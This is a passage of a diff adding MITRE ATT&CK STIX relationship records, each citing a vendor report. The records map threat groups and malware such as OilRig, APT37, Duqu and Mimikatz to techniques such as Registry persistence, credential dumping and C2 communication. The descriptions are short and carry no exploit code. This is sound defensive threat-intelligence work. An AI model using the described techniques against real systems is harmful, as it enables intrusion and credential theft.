Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + } + ], + "modified": "2019-03-25T17:15:03.447Z", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274)'s installation file is an unsigned DMG image under the guise of Intego\u2019s security solution for mac.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfa19bf2-af5e-4050-a3d9-fbd9684b867e", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) can gather very specific information about attached USB devices, to include device instance ID and drive geometry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c", + "external_references": [ + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.630Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.135Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The net start and net stop commands can be used in [Net](https://attack.mitre.org/software/S0039) to execute or stop Windows services.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.484Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use ipconfig /all to gather system network configuration details.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b203f00-34db-475f-a28b-f5088d937f4e", + "external_references": [ + { + "source_name": "AlienVault Sykipot 2011", + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.267Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21c14374-e5a7-4a68-8ae8-12d5e47c1e63", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has collected data from remote systems by mounting network shares with net use and using Robocopy to transfer data.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c2909563-2b7e-48d6-b165-05b8eff63862", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "modified": "2019-06-28T15:24:31.867Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses the tasklist to view running processes on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c210990-7596-4773-a640-adf44490d08d", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c5535462-7d2c-4a97-a717-b29ea23e00cd", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The net view \\\\remotesystem and net share commands in [Net](https://attack.mitre.org/software/S0039) can be used to find shared drives and directories on remote and local systems respectively.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b5d1788-c59b-4e84-97b0-b109df608619", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.502Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses RC4 encryption to obfuscate HTTP traffic.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) has been known to dump credentials.", + "type": "relationship", + "created": "2017-05-31T21:33:27.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fad2a504-6e00-4892-bf88-b49d6d18788c", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "modified": "2019-03-22T19:55:13.724Z", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--393a3ec4-9970-44ab-ae63-1e9c6bed0310", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:29.749Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is capable of deleting Registry keys, sub-keys, and values on a victim system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2dec6ce1-e459-4266-86d5-f336ab056f17", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067)'s has added persistence via the Registry key HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0500bac5-bc50-4529-ae5f-b4e1a85fa7d7", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:15.957Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One [HTTPBrowser](https://attack.mitre.org/software/S0070) variant connected to its C2 server over port 8080.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed", + "external_references": [ + { + "source_name": "ZScaler Hacking Team", + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate active windows.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69f45e5e-2ebe-4cce-a4cd-e1db67bdff1a", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used regsvr32 for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c334b4c6-43f1-4452-8a1f-3d056fba9ac0", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.128Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a02da835-676d-47df-86c6-547a7d29dbae", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Psylo](https://attack.mitre.org/software/S0078) uses HTTPS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used various types of scripting for execution, including .bat and .vbs scripts. The group has also used macros to deliver malware such as [QUADAGENT](https://attack.mitre.org/software/S0269) and [OopsIE](https://attack.mitre.org/software/S0264).", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "OilRig ISMAgent July 2017", + "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/" + }, + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Unit42 OilRig Nov 2018", + "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/" + } + ], + "modified": "2019-07-17T16:17:29.729Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) establishes persistence via a Registry Run key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02a629d3-b970-43e8-a11b-79f35107a4c0", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Mimikatz](https://attack.mitre.org/software/S0002) credential dumper contains an implementation of an SSP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d", + "external_references": [ + { + "source_name": "Deply Mimikatz", + "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", + "url": "https://github.com/gentilkiwi/mimikatz" + } + ], + "modified": "2019-04-24T23:36:42.264Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) checks the system for certain Registry keys.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a945fce-862b-46ff-8ee5-b78b220803f3", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can list the running processes and get the process ID and parent process\u2019s ID.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa2a7222-e9b1-4e97-82da-42a9c4014bdd", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.727Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a module for performing remote desktop access.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0a26c696-1288-4cb3-a24e-bbd64925b9f7", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.452Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-24T19:41:25.878Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dff84383-c4c5-4974-a33d-9e43526abf49", + "external_references": [ + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used application shim databases for persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73", + "external_references": [ + { + "source_name": "FireEye FIN7 Shim Databases", + "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" + } + ], + "modified": "2019-06-30T23:13:18.342Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3674346a-5212-4b42-9c1d-3e73eee95d06", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). 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Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.740Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": 